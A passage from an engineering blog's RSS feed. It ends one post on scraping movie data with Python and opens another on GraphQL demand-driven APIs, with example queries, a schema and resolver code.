string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; mymovies&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;runtime&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; t&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;span&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;runtime&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;text mymovieslist&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mymovies&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; print mymovieslist &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; __name__&lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;&lt;a href=&quot;https://github.com/PramodDutta/ScrapToDataAnalysis&quot;&gt;Click here&lt;/a&gt; to have a look at the full source code.&lt;/p&gt; &lt;p&gt;You can see the trends like &lt;code class=&quot;language-text&quot;&gt;Maximum Rating - Sorted by Rating&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Year Vs Rating Trend&lt;/code&gt;&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2017/06/pydata_1_M.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt;&lt;b&gt;DataFrame - Rating is Set as Index&lt;/b&gt;&lt;/div&gt; &lt;/div&gt; &lt;br&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2017/06/pydata_tt.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt;&lt;b&gt;Maximum Rating - Sorted by Rating&lt;/b&gt;&lt;/div&gt; &lt;/div&gt; &lt;br&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2017/06/pydata_graph.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt;&lt;b&gt;Year Vs Rating Trend&lt;/b&gt;&lt;/div&gt; &lt;/div&gt; &lt;h3 id=&quot;take-away-from-the-talk&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#take-away-from-the-talk&quot; aria-label=&quot;take away from the talk permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Take away from the Talk&lt;/h3&gt; &lt;p&gt;With this method, you would have winner&apos;s data from the data set. For example, suppose you want to create a Cricket Team(IPLT20) which has the maximum probability to win the match, what you can do is parse the &lt;a href=&quot;http://www.iplt20.com/&quot;&gt;IPLT20&lt;/a&gt;) website for last 5 years&apos; data and select the top 5 batsmen and 6 bowlers 😎.&lt;/p&gt; &lt;h3 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion&lt;/h3&gt; &lt;p&gt;I totally understand that this may not be the best project for the data analysis. I am still learning and I showed what I had done. I believe that it served my purpose.&lt;/p&gt; &lt;p&gt;I will be doing more research on data analysis in Python. Thanks for reading this. Below is my talk slides:&lt;/p&gt; &lt;h3 id=&quot;slides&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#slides&quot; aria-label=&quot;slides permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Slides:&lt;/h3&gt; &lt;p&gt;Slides :- &lt;/p&gt; &lt;iframe src=&quot;//slides.com/pramoddutta-1/deck/embed&quot; width=&quot;100%&quot; height=&quot;600px&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; webkitallowfullscreen mozallowfullscreen allowfullscreen&gt;&lt;/iframe&gt;</content:encoded><author>Pramod Dutta</author></item><item><title><![CDATA[Demand-driven APIs Using GraphQL]]></title><description><![CDATA[Introduction This article will deal with the issues we face with the current API architecture (mostly REST) and why demand-driven APIs seem…]]></description><link>https://engineering.wingify.com//posts/demand-drive-apis-using-graphql/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/demand-drive-apis-using-graphql/</guid><pubDate>Thu, 31 Aug 2017 00:00:00 GMT</pubDate><content:encoded>&lt;h3 id=&quot;introduction&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#introduction&quot; aria-label=&quot;introduction permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Introduction&lt;/h3&gt; &lt;p&gt;This article will deal with the issues we face with the current API architecture (mostly REST) and why demand-driven APIs seem a perfect replacement for it. We will also talk in brief, about &lt;a href=&quot;http://graphql.org/learn/&quot;&gt;GraphQL&lt;/a&gt; and how it is a feasible solution for implementing demand-driven applications.&lt;/p&gt; &lt;p&gt;Note: This article is inspired from &lt;a href=&quot;https://www.slideshare.net/vincirufus/demand-driven-applications-with-graphql-78403822&quot;&gt;Demand driven Applications with GraphQL&lt;/a&gt; by &lt;a href=&quot;https://www.linkedin.com/in/vinci&quot;&gt;Vinci Rufus&lt;/a&gt; at &lt;a href=&quot;http://2017.jschannel.com/&quot;&gt;JS Channel 2017&lt;/a&gt;.&lt;/p&gt; &lt;h3 id=&quot;why-demand-driven-api-whats-wrong-with-rest&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#why-demand-driven-api-whats-wrong-with-rest&quot; aria-label=&quot;why demand driven api whats wrong with rest permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Why Demand-driven API? What&apos;s wrong with REST?&lt;/h3&gt; &lt;p&gt;Let&apos;s take a simple example of author &amp;#x26; articles. If we are given a requirement to develop an API to fetch authors or articles, it will most probably go like this, if we follow REST:&lt;/p&gt; &lt;ul&gt; &lt;li&gt; GET /authors/:authorId &lt;/li&gt; &lt;li&gt; GET /articles/:articleId &lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Let&apos;s taken an example where we have to show an article snippet on my website&apos;s dashboard. We would need its &lt;strong&gt;title, description &amp;#x26; author name&lt;/strong&gt;. So we hit the latter end point and it will give a response like:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; title&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Demand Driven APIs Using GraphQL&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; createdAt&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;2017-04-25&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; updatedAt&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;2017-08-25&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; articleId&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;96&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; authorId&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; status&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;published&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; description&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Lorem Ipsum...&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;There are two problems with this response:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;strong&gt;Extra information&lt;/strong&gt;: We only needed the &lt;strong&gt;title&lt;/strong&gt; &amp;#x26; &lt;strong&gt;description&lt;/strong&gt; but we got everything related to the article and we cannot get rid of this extra payload as this extra information might be getting consumed at some other page i.e. Edit Article Page.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Missing information&lt;/strong&gt;: We were expecting &lt;strong&gt;author name&lt;/strong&gt; but instead we got &lt;strong&gt;authorId&lt;/strong&gt;. This is bad and to solve this we would probably be making another network call on the former end point to get the author name. It&apos;s an overhead making 2 network calls just to fetch 3 parameters, don&apos;t you think? Also, it will just get more complex as we include more resources i.e. comments, images etc.&lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;how-demand-driven-applications-work&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#how-demand-driven-applications-work&quot; aria-label=&quot;how demand driven applications work permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;How Demand-driven Applications Work?&lt;/h3&gt; &lt;p&gt;Now that we understand few issues with REST based APIs, we need a smart system which can give me the exact information required instead of giving me partial/extra information.This can be solved if the client demands what it actually needs and server gives it only that piece of information. This can be done using GraphQL.&lt;/p&gt; &lt;p&gt;Let&apos;s try to solve our problem using GraphQL. The exact information that our client need can be represented in GraphQL as:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;article&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; articleId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; title&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; description&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; author &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; name &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;The server can have a single end point with the following &lt;a href=&quot;http://graphql.org/learn/schema/&quot;&gt;schema&lt;/a&gt;:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;type &lt;span class=&quot;token function&quot;&gt;Article&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Integer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; title&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; String&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; description&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; String&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; status&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; String&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; createdAt&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Date&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; updatedAt&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Date&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; status&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; String&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; author&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Author &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; type &lt;span class=&quot;token function&quot;&gt;Author&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Integer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; name&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; String&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; email&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; String&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; photo&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Picture&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; followers&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;User&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; type &lt;span class=&quot;token function&quot;&gt;Picture&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Integer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; imgPath&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; String&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; imgHeight&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Integer&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; imgWidth&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Integer &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;And each field in our schema can have a function to fetch that piece of information. In our case:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;Article&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; Article&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;Article_title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;article&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; article&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;title&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;Article_description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;article&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; article&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;description&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;Article_author&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;article&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; article&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;author&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;Author_name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;author&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; author&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;name&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;On querying the data, we get i.e.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;curl &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;XGET&lt;/span&gt; http&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;myapp&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;articles &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;d &quot;query&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;article&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; title&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; description&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; author &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; name &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;We will get like this:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; title&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Demand Driven APIs Using GraphQL&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; description&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Lorem Ipsum...&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; author&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; name&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Sahil Batla&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;This is what we needed, now we can keep the endpoint same and tweak with fields required to display relevant information at any page of our website.&lt;/p&gt; &lt;h3 id=&quot;advantages-of-demand-driven-apis&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#advantages-of-demand-driven-apis&quot; aria-label=&quot;advantages of demand driven apis permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Advantages of Demand-driven APIs&lt;/h3&gt; &lt;ol&gt; &lt;li&gt;Single end point for serving any piece of information.&lt;/li&gt; &lt;li&gt;Less payload of data as no 